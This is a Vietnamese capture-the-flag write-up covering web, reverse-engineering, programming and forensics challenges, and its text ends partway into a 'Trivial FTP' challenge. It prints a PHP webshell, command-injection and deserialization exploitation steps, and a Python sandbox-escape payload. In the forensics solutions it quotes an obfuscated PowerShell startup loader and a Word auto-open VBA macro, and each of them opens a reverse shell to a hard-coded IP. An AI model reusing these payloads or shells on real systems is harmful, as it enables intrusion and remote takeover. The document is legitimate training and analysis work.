# Web Exploitation ## Be Positive Truy cập vào trang web được deploy ra, mình thấy có một form đăng nhập. Đăng nhập với credentials `alice/alice` hoặc `bob/bob` như đề bài đã hint, mình vào được function chính là chuyển tiền. Đây là một dạng bài khá phổ biến trong CTF nên mình chủ động test với parameter `amount`, mình test xem có chuyển được số âm không. Mình vào inspect element, chỉnh giá trị `min` của parameter `amount` về `-9999`. Và mình đã có thể chuyển `-9999`. ![](https://cdn.discordapp.com/attachments/1115650271322849310/1127996941473693776/image.png) Lúc này tài khoản của mình đã được cộng thêm 10k USD và mình có thể buy flag. ![](https://cdn.discordapp.com/attachments/1115650271322849310/1127997135816765522/image.png) ## Slow Down Bài này tương tự với bài `Be Positive`, tuy nhiên filter của parameter `amount` đã chặt chẽ hơn, nên hướng pollute các parameter không khả thi. Mình nghĩ đến việc tấn công bằng race condition, solution của mình là login 1 acc tại 2 trình duyệt khác nhau (lúc này mỗi trình duyệt có 1 cookie khác nhau), sau đó cả 2 trình duyệt cùng transfer tiền đến tài khoản còn lại. Lúc này tài khoản chuyển bị trừ 1, nhưng tài khoản nhận sẽ nhận được 2, và mình có thể mua flag. ![](https://media.discordapp.net/attachments/1115650271322849310/1127997896256667658/image.png?width=1440&height=433) ## Pass Code Bài cho mình 1 trang web và yêu cầu nhập mật khẩu. Đoán được đây là một bài client-side validation, mình view source. Check source thì có thấy 1 file `crypto-js.js` và mình thấy rằng đây là 1 gist ở trên [mạng](https://gist.github.com/cynecx/b02210c255a3b18566e45a38371dbc70) nên mình không quá tập trung vào đọc hiểu. Mà bài này là deobfuscate JavaScript (dựa vào title) nên tập trung vào đoạn JavaScript kia. ![](https://hackmd.io/_uploads/rJXi7vFKh.png) Do đoạn JS đã bị obsfucate nên mình sẽ dùng tool [này](https://deobfuscate.relative.im/) để deobs và thu về readable code: ```javascript ;(async function main() { var _0x24b3ab = (function () { var _0x140877 = true return function (_0x36bc46, _0x3c9734) { var _0x54cdd4 = _0x140877 ? function () { if (_0x3c9734) { var _0x505e3b = _0x3c9734.apply(_0x36bc46, arguments) return (_0x3c9734 = null), _0x505e3b } } : function () {} return (_0x140877 = false), _0x54cdd4 } })(), _0x34b2c2 = _0x24b3ab(this, function () { return _0x34b2c2 .toString() .search('(((.+)+)+)+$') .toString() .constructor(_0x34b2c2) .search('(((.+)+)+)+$') }) _0x34b2c2() function _0x2e3fc4(_0x230fda, _0x10a57a) { var _0x3c12b2 = CryptoJS.enc.Utf8.parse(_0x10a57a || 'c00kie-ar3na-ctf'), _0x329fea = CryptoJS.AES.decrypt(_0x230fda, _0x3c12b2, { iv: _0x3c12b2 }) return _0x329fea.toString(CryptoJS.enc.Utf8) } const _0x5f2a9b = '#chapter-content img' var _0x5df765 = document.querySelectorAll(_0x5f2a9b) _0x5df765 = Array.from(_0x5df765) var _0x46d3cf = _0x5df765.map((_0x2ffa3f) => _0x2ffa3f.getAttribute('encrypted-src') ) _0x46d3cf = _0x46d3cf.map((_0x294fdc) => CryptoJS.AES.decrypt(_0x294fdc, 'bánh quy chấm sữa').toString( CryptoJS.enc.Utf8 ) ) _0x5df765.forEach( (_0x3ae067, _0x18596f) => ( _0x3ae067.removeAttribute('encrypted-src'), _0x3ae067.setAttribute('src', _0x46d3cf[_0x18596f]) ) ) })() ``` Rất rõ ràng, key dùng để decrypt là `bánh quy chấm sữa`. Nhập key này ta có flag. ### flag: `CHH{jAvAscRIP7_o8FuSCaTe_68db84f2cb748388173b540d864c5d5a}` ## Youtube Downloader Đây là 1 webapp cho phép người dùng fetch thumbnail của 1 video cụ thể trên YouTube. ![](https://cdn.discordapp.com/attachments/1115650271322849310/1127998044827295845/image.png) Mình nhanh chóng nhận ra có thể inject code bằng dấu `;` ngay sau command chính. ![](https://media.discordapp.net/attachments/1115650271322849310/1127998243817652306/image.png?width=1101&height=145) Vì mình không muốn dùng dấu cách (lý do là bởi HTTP encode dấu cách sẽ thành dấu `+`, có thể làm hỏng command linux) nên mình dùng `${IFS}`. ### flag: `CHH{Ea5y_cOmmaND_inj3c7Ion_3f33798465f2351ef5b069cecdc124cf}` ## Magic Login Đây là một challenge bypass login, và mình có thể tìm thấy code của server bằng cách view source: ```php= if(isset($_POST['submit'])){ $usr = mysql_real_escape_string($_POST['username']); $pas = hash('sha256', mysql_real_escape_string($_POST['password'])); if($pas == "0"){ $_SESSION['logged'] = TRUE; header("Location: upload.php"); // Modify to go to the page you would like exit; }else{ header("Location: login_page.php"); exit; } }else{ //If the form button wasn't submitted go to the index page, or login page header("Location: login_page.php"); exit; } ``` Trong đoạn code, `$pas` là password do người dùng nhập vào, sau đó bị hash với thuật toán băm SHA256. Sau đó, nếu hash này bằng 0 thì người dùng sẽ được truy cập vào `upload.php`. Theo mình thấy, **rất khó khăn** để tìm ra một đoạn plain text nào mà SHA256 ra bằng 0, tuy nhiên ở đây dev lại dùng loose comparison `==`. Do vậy, web app này bị lỗi [Type Juggling](https://viblo.asia/p/php-type-juggling-924lJPYWKPM). ![](https://media.discordapp.net/attachments/1115650271322849310/1127998691127599195/image.png?width=482&height=128) Như vậy mục tiêu của chúng ta là tìm một đoạn plain text nào đó, mà sau khi hash bằng SHA256 được 1 đoạn text có dạng `0exxxxxxxxxxxxx`. Sử dụng [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md), mình nhanh chóng tìm ra 2 magic strings thoả mãn điều kiện đã nêu. ![](https://media.discordapp.net/attachments/1115650271322849310/1127998785528795166/image.png?width=1440&height=177) Đăng nhập bằng username random và password như trong hình, là mình có thể vào được trang `upload.php`. Trang này cho phép upload 1 file bất kì, kể cả file `php`. Mình đã upload 1 webshell đơn giản. ```php= <?php system($_GET['cmd']);?> ``` ![](https://media.discordapp.net/attachments/1115650271322849310/1127999397813305464/image.png?width=1395&height=185) Và có được code execution. Giờ chỉ cần `cat /flag.txt` thôi. ### flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_c42c66e83618cf8b8d005898326f1273}` ## Magic Login Harder Đây là một challenge cho code, đọc qua đoạn code mình phân tích được: - Flag bị gắn thêm vài kí tự ở đăng sau tên, vì vậy phải có code execution để lấy được tên file (có thể bruteforce nhưng phải brute force 62^5 trường hợp), tuy nhiên sau khi bypass login thì chỉ có LFI chứ không có RCE. - Username và password (sau khi được base64 decode) phải khác nhau, nhưng mã MD5 phải giống nhau. Mình đã deploy docker, chèn thêm 1 file php để đọc `phpinfo()` và phát hiện ra, `session.upload_progress.enabled` đang để ở `on`. Do đó mình có thể thực hiện khai thác [LFI2RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress). Mình cũng đã tìm ra vị trí của các file session nằm ở `tmp/sess_<PHPSESSID>`. ![](https://media.discordapp.net/attachments/1115650271322849310/1128000288079491162/image.png?width=740&height=71) *(ở đây username và password mình điền là lấy từ [wikipedia](https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities) về MD5 Collision)* Đọc code có thể biết được rằng, sau khi login thành công thì server sẽ lưu username của người dùng vào file session. Vì thế nếu có thể chèn mã độc vào user mà vẫn thoả mãn các điều kiện trong code thì mình có thể chạy code ở server side rồi. Sau một hồi tra cứu Google thì mình phát hiện có 1 bài [CTF](https://ctftime.org/writeup/28329) đã dùng technique `MD5 Prefix Collision` để tạo ra 2 file plain text có mã MD5 giống y nhau **mà người dùng có thể kiểm soát được 1 vài byte đầu của file đấy**. Mình sử dụng [HashClash](https://github.com/cr-marcstevens/hashclash) để generate ra 2 file thoả mãn điều kiện: ``` teebow1e@wwc:~/hashclash/workdir$ xxd collision1.bin 00000000: 3c3f 7068 7020 7379 7374 656d 2827 6c73 <?php system('ls 00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa /');?>..,.Y./b. 00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8 .*!..zy.z6....5. 00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6 .o...=..UY..A... 00000040: afe4 954d 0ec5 61dd f00c d94b 3db8 7286 ...M..a....K=.r. 00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c ........w...bVL< 00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0 u.Y..<Q%...n.zO. 00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1 ...AC.T.....Um.. teebow1e@wwc:~/hashclash/workdir$ xxd collision2.bin 00000000: 3c3f 7068 7020 7379 7375 656d 2827 6c73 <?php sysuem('ls 00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa /');?>..,.Y./b. 00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8 .*!..zy.z6....5. 00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6 .o...=..UY..A... 00000040: afe4 954d 0ec5 61dd f00b d94b 3db8 7286 ...M..a....K=.r. 00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c ........w...bVL< 00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0 u.Y..<Q%...n.zO. 00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1 ...AC.T.....Um.. teebow1e@wwc:~/hashclash/workdir$ md5sum collision1.bin collision2.bin bd099bdc91c517eb6c3f975ffbea5027 collision1.bin bd099bdc91c517eb6c3f975ffbea5027 collision2.bin ``` Lúc này mình chỉ cần `base64` cả 2 file và login, file session của mình lúc này sẽ có dạng: ![](https://cdn.discordapp.com/attachments/1115650271322849310/1128000676040032406/image.png) Và mình `cat` file flag. ### flag: `CHH{7yPE_jU66lin9_hArdEr_7c0ac0ed6416d08227cfa3caebb41a57}` ## Suck it Tiếp tục là một bài code review, tuy nhiên bài này khá nhiều file nên mình sẽ dump cây thư mục ra trước: ``` teebow1e@wwc:~/arenas2-web-suck-it-ver2$ tree . ├── Dockerfile ├── app │   ├── babel.config.js │   ├── package.json │   ├── public │   │   ├── favicon.ico │   │   ├── fonts │   │   │   ├── FVF-Fernando.ttf │   │   │   └── Lato-Regular.ttf │   │   └── index.html │   └── src │   ├── App.vue # Main app - chịu trách nhiệm cho tên của user / gắn sessionID cho người dùng │   ├── components │   │   ├── Chat.vue # Function chat của app │   │   ├── MessagePanel.vue # Render ô chat │   │   ├── SelectUsername.vue # Render phần select username │   │   ├── StatusIcon.vue # Status icon của người dùng │   │   └── User.vue # Render trạng thái online/offline/có tin nhắn mới của user │   ├── main.js # File server chịu trách nhiệm authentication / Handle tin nhắn giữa các user │   └── socket.js ├── build-docker.sh ├── config │   ├── nginx.conf │   └── supervisord.conf ├── flag.txt └── server ├── index.js ├── messageStore.js ├── package.json └── sessionStore.js 7 directories, 23 files ``` Như vậy có thể thấy, tuy nhiều file nhưng các file của `Vuejs` chỉ chịu trách nhiệm render UI của trang web trong khi `main.js` là logic của trang web. Đọc kĩ `main.js`, mình tìm thấy winning condition: ![](https://hackmd.io/_uploads/BJcywjKKh.png) Mình cần phải nhắn tin với người yêu của Admin, tuy nhiên với `userID` là Admin chứ không phải normal user. ![](https://hackmd.io/_uploads/HkJcDjYKn.png) Ở đây admin đã lộ secret key, secretkey này có thể dùng để kick bất cứ ai khỏi phòng chat (*bao gồm cả Admin*). Điểm thú vị chính là, khi 1 ai đó bị thoát phòng chat, server sẽ thông báo `User disconnected`, và in ra userID/sessionID của người đó. ![](https://hackmd.io/_uploads/H1xJtjtYh.png) Vậy idea ở đây sẽ là: > Kick Admin -> xin userID/sessionID -> add ID vào local storage -> nhắn tin với ngyeu hehehe. Sử dụng Burp Suite, thử nhắn tin và bắt được request ở phần WebSockets. Đưa sang Repeater và chèn payload thôi: ![](https://hackmd.io/_uploads/B1UR9itF3.png) Gửi đi câu lệnh kick admin và server gửi lại sessionID: ![](https://hackmd.io/_uploads/Hy8cosYFn.png) Chèn sessionID này vào LocalStorage và hưởng thụ thôi: ![](https://hackmd.io/_uploads/SJtposYth.png) ![](https://hackmd.io/_uploads/B1g1niFKn.png) ### flag: `CHH{H4ve_y0u_re4d_th3_m3ssage_f595b466fd1ab3b4c2c55c2a9ed8506c}` ## Video Link Extractor Lại tiếp tục là một challenge có code. Phân tích code, có những điểm sau đáng chú ý: - Flag nằm ở `flag.php` - Hàm `extract_api_to_object` được sử dụng xuyên suốt trong app và trong hàm này có sử dụng hàm `unserialize()`, đồng thời magic function `__wakeup()` lại include 1 file php. ![](https://hackmd.io/_uploads/Hk5eiKYK3.png) --> Nếu có thể control được data trước khi bị unserialize là sẽ có code execution. - Tuy nhiên để hàm `include` trong magic function hoạt động thì sẽ cần 1 local php file có chứa code do attacker điều khiển. Và lỗ hổng thứ 2 nằm ở đây: ![](https://hackmd.io/_uploads/S1_OotFth.png) ![](https://hackmd.io/_uploads/BJxKsFKKh.png) Nếu người dùng input host không hợp lệ thì input người dùng sẽ được truyền vào file log, và file log này có tên là epoch time của request, và được lưu ở `/tmp`. --> Mình đã có thể ghi malicious code vào server. Sau khi phân tích xong, idea để exploit là: 1. Tạo file log có chứa code độc hại để đọc file flag.php 2. Lợi dụng tính năng redirect để server đọc 1 serialized object do mình chuẩn bị sẵn, với `$_file` chính là file log ở bước 1. 3. Sử dụng tính năng extract ở server để dẫn server đến object mình đã chuẩn bị sẵn, sau đó server sẽ deserialize, pwn3d. **Payload để tạo log:** ![](https://hackmd.io/_uploads/SyKo3KtFh.png) Ở đây mình sử dụng `base64` chứ không `cat` bởi vì `include` sẽ trực tiếp chạy file php ở client-side, flag ở trong một comment nên có thể sẽ không bị render ra. **Lấy tên file log:** ![](https://hackmd.io/_uploads/rJ3GpFYYn.png) **Tạo malicious serialized objects:** ![](https://hackmd.io/_uploads/BJd7attFn.png) **Gửi request về server:** ![](https://hackmd.io/_uploads/Bk_BaFYK3.png) ``` GET /index.php?mode=extract&id=%3fmode%3dredirect%26url%3dhttps%3a//raw.githubusercontent.com/teebow1e/teebow1e.github.io/main/text.txt&host=local HTTP/2 ``` **Decode base64 và lấy flag:** ![](https://hackmd.io/_uploads/Sk85pYttn.png) ### flag: `CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_afcbfa6ffad78e1ad1d712a89df6e9b5}` # Reverse Engineering ## pyreverse Check `strings` của file exe, có thể dễ dàng thấy được file `exe` được đóng gói bằng `PyInstaller` nên ta có thể dùng `pydumpck` để unpack lại file `.py` ban đầu. ![](https://hackmd.io/_uploads/HkOBJ5tFh.png) Kiểm tra file `pyreverser.pyc.cdc.py` trong `output` folder, mình đã có toàn bộ source của app và flag nằm ngay trong đoạn Base64. ```python import base64 def reverse_string(s): return s[::-1] def scramble_flag(flag): scrambled = '' for i, char in enumerate(flag): if i % 2 == 0: scrambled += chr(ord(char) + 1) continue scrambled += chr(ord(char) - 1) return scrambled def main(): print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')) secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode()) print('Welcome to PyReverser!') print('Please enter a word or phrase:') user_input = input() generated_value = scramble_flag(reverse_string(user_input.upper())) print('Generated value:', generated_value) print('Can you find the hidden flag?') reversed_flag = reverse_string(secret_flag) print('Reversed flag:', reversed_flag) if __name__ == '__main__': main() ``` Decode và có được flag. ### flag `CHH{python2Exi_Reverse_ENginering}` # Programming ## Decrypt > Tab vốn là một học sinh rất giỏi toán, nên sau khi tham gia khoá học “Xoá mù bảo mật” của Cookie Hân Hoan, cậu liên muốn áp dụng các kỹ thuật toán học để nhằm mã hoá các mật khẩu của mình. Mật khẩu là một chuỗi ký tự S có độ dài n (thứ tự các ký tự từ trái qua phải lần lượt là từ 1 đến n), cách thức mã hoá là thực hiện theo quy trình sau: > Lặp đi lặp lại với lần lượt các ước số nguyên của n theo thứ tự giảm dần từ n tới 1. Với ước số d của n, sẽ đảo ngược chuỗi con S[1…d] (tức là chuỗi con gồm d ký tự đầu tiên) Sau khi thực hiện quy trình trên, Tab sẽ nhận được 1 mật khẩu đã được mã hoá. Ví dụ: Với mật khẩu là chuỗi cookiearenactf có độ dài 14. Với n = 14 có 4 ước số lần lượt là 14, 7, 2, 1. > Với d = 14, ta sẽ đảo 14 ký tự đầu tiên, cookiearenactf → ftcaneraeikooc Với d = 7, ta sẽ đảo 7 ký tự đầu tiên, ftcaneraeikooc → renactfaeikooc Với d = 2, ta đảo 2 ký tự đầu tiên, renactfaeikooc → ernactfaeikooc Với d =1, ta đảo 1 ký tự đầu tiên, dĩ nhiên là không thay đổi gì, và nhận được mật khẩu đã được mã hoá là ernactfaeikooc Solution của mình trong bài này là: ```python= import math def find_divisors(n): divisors = [1] for i in range(2, int(math.sqrt(n)) + 1): if n % i == 0: divisors.append(i) if i != n // i: divisors.append(n // i) divisors.append(n) return divisors def reverse_substring(s, d): return s[d-1::-1] + s[d:] n = int(input()) encrypted_password = input() divisors = find_divisors(n) for d in divisors: encrypted_password = reverse_substring(encrypted_password, d) print(encrypted_password) ``` ### flag: `CHH{pro9R4mmINg_D3CRYPT_1b135dcdfa53b88c8f584fab71438cb5}` ## Identify Security > Với thông tin số điện thoại thì chỉ hiển thị 2 chữ số đầu và 3 chữ số cuối, còn lại được che bằng ký tự hoa thị (*) với mỗi chữ số là một ký tự hoa thị tương ứng. Với thông tin địa chỉ email thì chỉ giữ lại 2 ký tự đầu và 3 ký tự cuối của phần username, và tên miền (domain), các ký tự còn lại cũng được che tương tự như trên (trong trường hợp username quá ngắn, ít hơn hoặc bằng 7 ký tự thì chỉ giữ lại ký tự đầu và cuối của username). Biết rằng cấu trúc của một địa chỉ email luôn là username@domain. Hãy giúp ban tổ chức một tay để bảo mật danh tính các thí sinh nào! Solution của mình trong bài này là: ```python= inp = int(input()) for _ in range(inp): pw_str = input().strip() if pw_str.isdigit(): print(pw_str[:2] + '*'*(len(pw_str)-5) + pw_str[-3:]) else: username, domain = pw_str.split('@') if len(username) <= 7: print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain) else: print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain) ``` ### flag: `CHH{1DeNt17Y_SecuriTy_12b04a30e76a508404849fb02ebc2212}` ## Unintended Solutions for all Programming challenges > Cách này KHÔNG được BTC chấp nhận, mình viết với mục đích chia sẻ, không khuyến khích mọi người làm theo. Ngay khi thấy các challenge cho phép code và chạy ngay ở phía server, mình đã nghĩ ngay đến việc import các library cho phép chạy lệnh ở Python. ![](https://hackmd.io/_uploads/Hk1xOvYK3.png) Tuy nhiên 2 keyword này đã bị filter, ở đây hướng exploit của mình sẽ là: - Sử dụng các builtin functions của python để tìm các function top-level (`__import__` là một ví dụ) - Với các keyword bị filter, mình sẽ sử dụng hàm `chr()` có sẵn của python để build string từ char code. Payload của mình **(Một lần nữa - Cách giải này không được chấp nhận, không khuyến khích làm theo)**: ```python= a = chr(95) + chr(95) + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95) + chr(95) # __import__ b = chr(115) + chr(117) + chr(98) + chr(112) + chr(114) + chr(111) + chr(99) + chr(101) + chr(115) + chr(115) # subprocess c = chr(47) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116) # /flag.txt __builtins__.__dict__[a](b).run(['cat', c]) ``` ![](https://hackmd.io/_uploads/HyasuwFY3.png) # Digital Forensics ## Sổ đăng ký Tải file được đính kèm và giải nén, thu được file `NTUSER.DAT`. `NTUSER.DAT` là file chứa thông tin tài khoản người dùng và các tuỳ biến người dùng đã cài đặt. File này sẽ chứa toàn bộ thông tin của registry hive `HKEY_CURRENT_USER`. Để xem file này, mình sử dụng tool [Registry Explorer](https://ericzimmerman.github.io/#!index.md) hoặc load hive trực tiếp vào Registry Editor, tuy nhiên mình không muốn đụng vào Registry của máy nên mình đã dùng tool. Dựa vào hint từ đề bài, `Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính`, có lẽ có 1 file gì đó được chạy khi startup. Do vậy, mình tập trung subkey `Software/Microsoft/Windows/CurrentVersion/`, bởi vì đây là subkey có chứa rất nhiều thông tin về tuỳ biến của người dùng với hệ thống. Cụ thể, trong subkey `Run`, tìm thấy được một key chứa lệnh được chạy thông qua Powershell: ![](https://media.discordapp.net/attachments/1115650271322849310/1128001169755754626/image.png?width=1440&height=280) ``` C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon ``` Trong đoạn Powershell này, mã độc này sẽ decode 1 đoạn Base64 và chạy bằng hàm InvokeExpression. Lúc này, mình sẽ beautify code và thay hàm `Invoke-Expression` bằng `Write-Line` để in thay vì chạy code. ``` $newObject = [System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new([Convert]::FromBase64String('THE BASE64 STRING')), [System.IO.Compression.CompressionMode]::Decompress) foreach ($object in $newObject) { $streamReader = [System.IO.StreamReader]::new($object, [System.Text.Encoding]::ASCII) $command = $streamReader.ReadToEnd() Write-Host $command } ``` Mình nhận lại được 1 đoạn code powershell khác, có thể thấy rằng đây là 1 đoạn code Reverse Shell, và có luôn flag ở trong đó: ``` $client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (Ne w-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ### flag: `CHH{N0_4_go_n0_st4r_wh3r3}` ## Tin học văn phòng Tải về và giải nén, mình có được 1 file Doc. Qua đề bài, có thể thấy được đây là 1 malware nên mình không mở trực tiếp file doc mà dùng tool [olevba](https://github.com/decalage2/oletools/wiki/olevba) để phân tích. Kết quả trả lại: ``` teebow1e@wwc:~$ olevba Challenge.doc olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools =============================================================================== FILE: Challenge.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: Challenge.doc - OLE stream: 'Macros/VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (empty macro) ------------------------------------------------------------------------------- VBA MACRO NewMacros.bas in file: Challenge.doc - OLE stream: 'Macros/VBA/NewMacros' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Const ip = "192.168.25.135" Const port = "1337" Const INVALID_SOCKET = -1 Const WSADESCRIPTION_LEN = 256 Const SOCKET_ERROR = -1 Private Type WSADATA wVersion As Integer wHighVersion As Integer szDescription(0 To WSADESCRIPTION_LEN) As Byte szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte iMaxSockets As Integer iMaxUdpDg As Integer lpVendorInfo As Long End Type Private Type ADDRINFO ai_flags As Long ai_family As Long ai_socktype As Long ai_protocol As Long ai_addrlen As Long ai_canonName As LongPtr ai_addr As LongPtr ai_next As LongPtr End Type Private Type STARTUPINFOA cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As String hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Enum af AF_UNSPEC = 0 AF_INET = 2 AF_IPX = 6 AF_APPLETALK = 16 AF_NETBIOS = 17 AF_INET6 = 23 AF_IRDA = 26 AF_BTH = 32 End Enum Enum sock_type SOCK_STREAM = 1 SOCK_DGRAM = 2 SOCK_RAW = 3 SOCK_RDM = 4 SOCK_SEQPACKET = 5 End Enum Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" () Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long) Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long Function revShell() Dim m_wsaData As WSADATA Dim m_RetVal As Integer Dim m_Hints As ADDRINFO Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET Dim pAddrInfo As LongPtr Dim RetVal As Long Dim lastError As Long Dim iRC As Long Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512 RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData) If (RetVal <> 0) Then MsgBox "You are hacked" Call WSACleanup Exit Function End If m_Hints.ai_family = af.AF_UNSPEC m_Hints.ai_socktype = sock_type.SOCK_STREAM RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo) If (RetVal <> 0) Then MsgBox "You are hacked" Call WSACleanup Exit Function End If m_Hints.ai_next = pAddrInfo Dim connected As Boolean: connected = False Do While m_Hints.ai_next > 0 CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints) m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0) If (m_ConnSocket = INVALID_SOCKET) Then revShell = False Else Dim connectionResult As Long connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen) If connectionResult <> SOCKET_ERROR Then connected = True Exit Do End If closesocket (m_ConnSocket) revShell = False End If Loop If Not connected Then revShell = False RetVal = closesocket(m_ConnSocket) Call WSACleanup Exit Function End If Dim si As STARTUPINFOA ZeroMemory si, Len(si) si.cb = Len(si) si.dwFlags = &H100 si.hStdInput = m_ConnSocket si.hStdOutput = m_ConnSocket si.hStdError = m_ConnSocket Dim pi As PROCESS_INFORMATION Dim worked As LongPtr Dim test As Long worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi) revShell = worked MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}" End Function Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127) End Function Private Sub Document_Open() Dim success As Boolean success = revShell() MsgBox "You have bên hacked!!" End Sub Sub Autoopen() Document_Open End Sub +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |Autoopen |Runs when the Word document is opened | |AutoExec |Document_Open |Runs when the Word or Publisher document is | | | |opened | |Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)| |Suspicious|Lib |May run code from a DLL | |Suspicious|RtlMoveMemory |May inject code into another process | |IOC |192.168.25.135 |IPv4 address | |IOC |ws2_32.dll |Executable file name | +----------+--------------------+---------------------------------------------+ ``` Có thể thấy đây là một đoạn code reverse shell khác, và flag ở trong đoạn code. ### flag: `CHH{If_u_w4nt_1_will_aft3rnull_u}` ## Trivial FTP Giải nén ra mình được 1 file pcapng, mình sử dụng Wireshark để mở. Việc đầu tiên là kiểm tra `Protocol Hierachy Statistics` để xem có những giao thức nào để sử dụng trong quá trình. 